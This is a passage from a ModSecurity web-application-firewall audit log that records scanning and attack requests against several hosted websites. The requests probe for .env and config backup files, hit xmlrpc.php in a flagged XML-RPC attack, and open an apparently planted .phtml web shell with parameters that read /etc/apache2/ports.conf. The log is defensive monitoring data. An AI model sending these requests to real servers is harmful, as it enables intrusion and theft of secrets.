"/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9TRrBfUm2FdhH5voETVAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029126032206 952416 (- - -) Stopwatch2: 1750029126032206 952416; combined=31319, p1=421, p2=1671, p3=44, p4=70, p5=14591, sr=109, sw=14522, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22c8644c-Z-- --3e7c8945-A-- [16/Jun/2025:04:42:14.806847 +0530] aE9TTn2GhYywD7zZgx4FKQAAAAM 185.177.72.210 33508 127.0.0.1 7081 --3e7c8945-B-- GET /FIRST_CONFIG/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e7c8945-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=685306d37820037c0b565126d5aacddd1750029134; expires=Mon, 16 Jun 2025 00:12:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e7c8945-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/FIRST_CONFIG/.env"] [unique_id "aE9TTn2GhYywD7zZgx4FKQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029134134705 672240 (- - -) Stopwatch2: 1750029134134705 672240; combined=2483, p1=542, p2=1825, p3=0, p4=0, p5=115, sr=143, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e7c8945-Z-- --54b1fa68-A-- [16/Jun/2025:04:42:22.545153 +0530] aE9TVVxTdrwJSUMoZvG1agAAAAc 185.177.72.210 45340 127.0.0.1 7081 --54b1fa68-B-- GET /phpinfo.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --54b1fa68-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d8ec9278f9e2e706f73e75f4c67bb791750029142; expires=Mon, 16 Jun 2025 00:12:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --54b1fa68-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/phpinfo.php.old"] [unique_id "aE9TVVxTdrwJSUMoZvG1agAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029141868512 676705 (- - -) Stopwatch2: 1750029141868512 676705; combined=1999, p1=334, p2=1558, p3=0, p4=0, p5=106, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --54b1fa68-Z-- --290bbe3f-A-- [16/Jun/2025:04:42:28.709880 +0530] aE9TXHwHSJGQ1A1pR0qbJAAAAAY 185.177.72.210 45672 127.0.0.1 7081 --290bbe3f-B-- GET /settings/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --290bbe3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c2dd61803ced1ef491b978b58ab087e81750029148; expires=Mon, 16 Jun 2025 00:12:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --290bbe3f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.backup"] [unique_id "aE9TXHwHSJGQ1A1pR0qbJAAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.backup"] [unique_id "aE9TXHwHSJGQ1A1pR0qbJAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029148060173 649780 (- - -) Stopwatch2: 1750029148060173 649780; combined=2210, p1=416, p2=1670, p3=0, p4=0, p5=124, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --290bbe3f-Z-- --08e5fa41-A-- [16/Jun/2025:04:42:35.198291 +0530] aE9TYsalTF-TysO2fMOCzAAAAAE 185.177.72.210 42840 127.0.0.1 7081 --08e5fa41-B-- GET /web.config.bakup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --08e5fa41-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b7348f65e86dd29cb5b2fb312fb89fe1750029155; expires=Mon, 16 Jun 2025 00:12:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08e5fa41-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/web.config.bakup"] [unique_id "aE9TYsalTF-TysO2fMOCzAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029154521641 676728 (- - -) Stopwatch2: 1750029154521641 676728; combined=1901, p1=412, p2=1359, p3=0, p4=0, p5=130, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08e5fa41-Z-- --2b6fe048-A-- [16/Jun/2025:04:42:36.251118 +0530] aE9TY32GhYywD7zZgx4FNAAAAAM 185.177.72.210 42894 127.0.0.1 7081 --2b6fe048-B-- GET /:8880/tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b6fe048-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dda588cf7245bce1192c36a95d0ce8911750029156; expires=Mon, 16 Jun 2025 00:12:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b6fe048-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/tests/.env"] [unique_id "aE9TY32GhYywD7zZgx4FNAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029155525730 725476 (- - -) Stopwatch2: 1750029155525730 725476; combined=1969, p1=387, p2=1474, p3=0, p4=0, p5=108, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b6fe048-Z-- --51205107-A-- [16/Jun/2025:04:42:52.415941 +0530] aE9Tc3wHSJGQ1A1pR0qbLwAAAAY 185.177.72.210 47676 127.0.0.1 7081 --51205107-B-- GET /:8008/stag/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --51205107-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4795ee8b59ae6ee46e234b3f0ad1e6111750029172; expires=Mon, 16 Jun 2025 00:12:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --51205107-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/stag/.env"] [unique_id "aE9Tc3wHSJGQ1A1pR0qbLwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029171717143 698861 (- - -) Stopwatch2: 1750029171717143 698861; combined=1843, p1=379, p2=1358, p3=0, p4=0, p5=105, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51205107-Z-- --ad27651c-A-- [16/Jun/2025:04:42:53.829647 +0530] aE9TdVxTdrwJSUMoZvG1fAAAAAc 216.73.216.83 47944 127.0.0.1 7081 --ad27651c-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fetc%2Fapache2&viewfile=%2F%2Fetc%2Fapache2%2Fports.conf HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --ad27651c-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3146 Connection: close Content-Type: text/html; charset=UTF-8 --ad27651c-H-- Message: Warning. Matched phrase "etc/apache2/ports.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/ports.conf found within ARGS:viewfile: /etc/apache2/ports.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/apache2/ports.conf" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/apache2/ports.conf found within ARGS:viewfile: /etc/apache2/ports.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9TdVxTdrwJSUMoZvG1fAAAAAc"] Apache-Handler: application/x-httpd-php Stopwatch: 1750029173824579 5136 (- - -) Stopwatch2: 1750029173824579 5136; combined=3155, p1=332, p2=2682, p3=42, p4=39, p5=60, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad27651c-Z-- --2431db2b-A-- [16/Jun/2025:04:42:59.546734 +0530] aE9Ten2GhYywD7zZgx4FRwAAAAM 185.177.72.210 48580 127.0.0.1 7081 --2431db2b-B-- GET /docker/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2431db2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=532492517b3d65deb529bd89bfe0bb3d1750029179; expires=Mon, 16 Jun 2025 00:12:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2431db2b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/app/.env"] [unique_id "aE9Ten2GhYywD7zZgx4FRwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029178876325 670473 (- - -) Stopwatch2: 1750029178876325 670473; combined=2208, p1=420, p2=1671, p3=0, p4=0, p5=117, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2431db2b-Z-- --74224c68-A-- [16/Jun/2025:04:43:07.962296 +0530] aE9Tgn2GhYywD7zZgx4FSwAAAAM 128.199.112.101 60038 127.0.0.1 7081 --74224c68-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --74224c68-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --74224c68-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Tgn2GhYywD7zZgx4FSwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029186978575 983788 (- - -) Stopwatch2: 1750029186978575 983788; combined=2432, p1=437, p2=1616, p3=44, p4=60, p5=175, sr=130, sw=100, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --74224c68-Z-- --ea069809-A-- [16/Jun/2025:04:43:14.308691 +0530] aE9TibBfUm2FdhH5voETegAAAAU 185.177.72.210 37992 127.0.0.1 7081 --ea069809-B-- GET /:8181/administrateur/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ea069809-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eb38c94793d8621ac77a1aadd5b332991750029194; expires=Mon, 16 Jun 2025 00:13:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ea069809-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/administrateur/.env.production"] [unique_id "aE9TibBfUm2FdhH5voETegAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029193652790 655965 (- - -) Stopwatch2: 1750029193652790 655965; combined=1844, p1=380, p2=1367, p3=0, p4=0, p5=97, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea069809-Z-- --faab9d70-A-- [16/Jun/2025:04:43:16.579245 +0530] aE9Ti5bumDYPKpRD2ekqoAAAAAA 185.177.72.210 38026 127.0.0.1 7081 --faab9d70-B-- GET /config.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --faab9d70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=249f60379814013b3ac6da863ebacb5f1750029196; expires=Mon, 16 Jun 2025 00:13:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --faab9d70-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.inc"] [unique_id "aE9Ti5bumDYPKpRD2ekqoAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029195925346 654004 (- - -) Stopwatch2: 1750029195925346 654004; combined=2015, p1=354, p2=1525, p3=0, p4=0, p5=136, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --faab9d70-Z-- --7a65846d-A-- [16/Jun/2025:04:43:29.174074 +0530] aE9TmOxC6fQU5wYvxvlz1gAAAAk 185.177.72.210 44550 127.0.0.1 7081 --7a65846d-B-- GET /:5601/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7a65846d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=69bd5067ba4a3496494ecacec29c74e71750029209; expires=Mon, 16 Jun 2025 00:13:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7a65846d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/vendor/laravel/.env"] [unique_id "aE9TmOxC6fQU5wYvxvlz1gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029208493312 680845 (- - -) Stopwatch2: 1750029208493312 680845; combined=1920, p1=393, p2=1434, p3=0, p4=0, p5=93, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a65846d-Z-- --183a633c-A-- [16/Jun/2025:04:43:41.600235 +0530] aE9TpMalTF-TysO2fMOC8QAAAAE 185.177.72.210 42212 127.0.0.1 7081 --183a633c-B-- GET /:8000/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --183a633c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 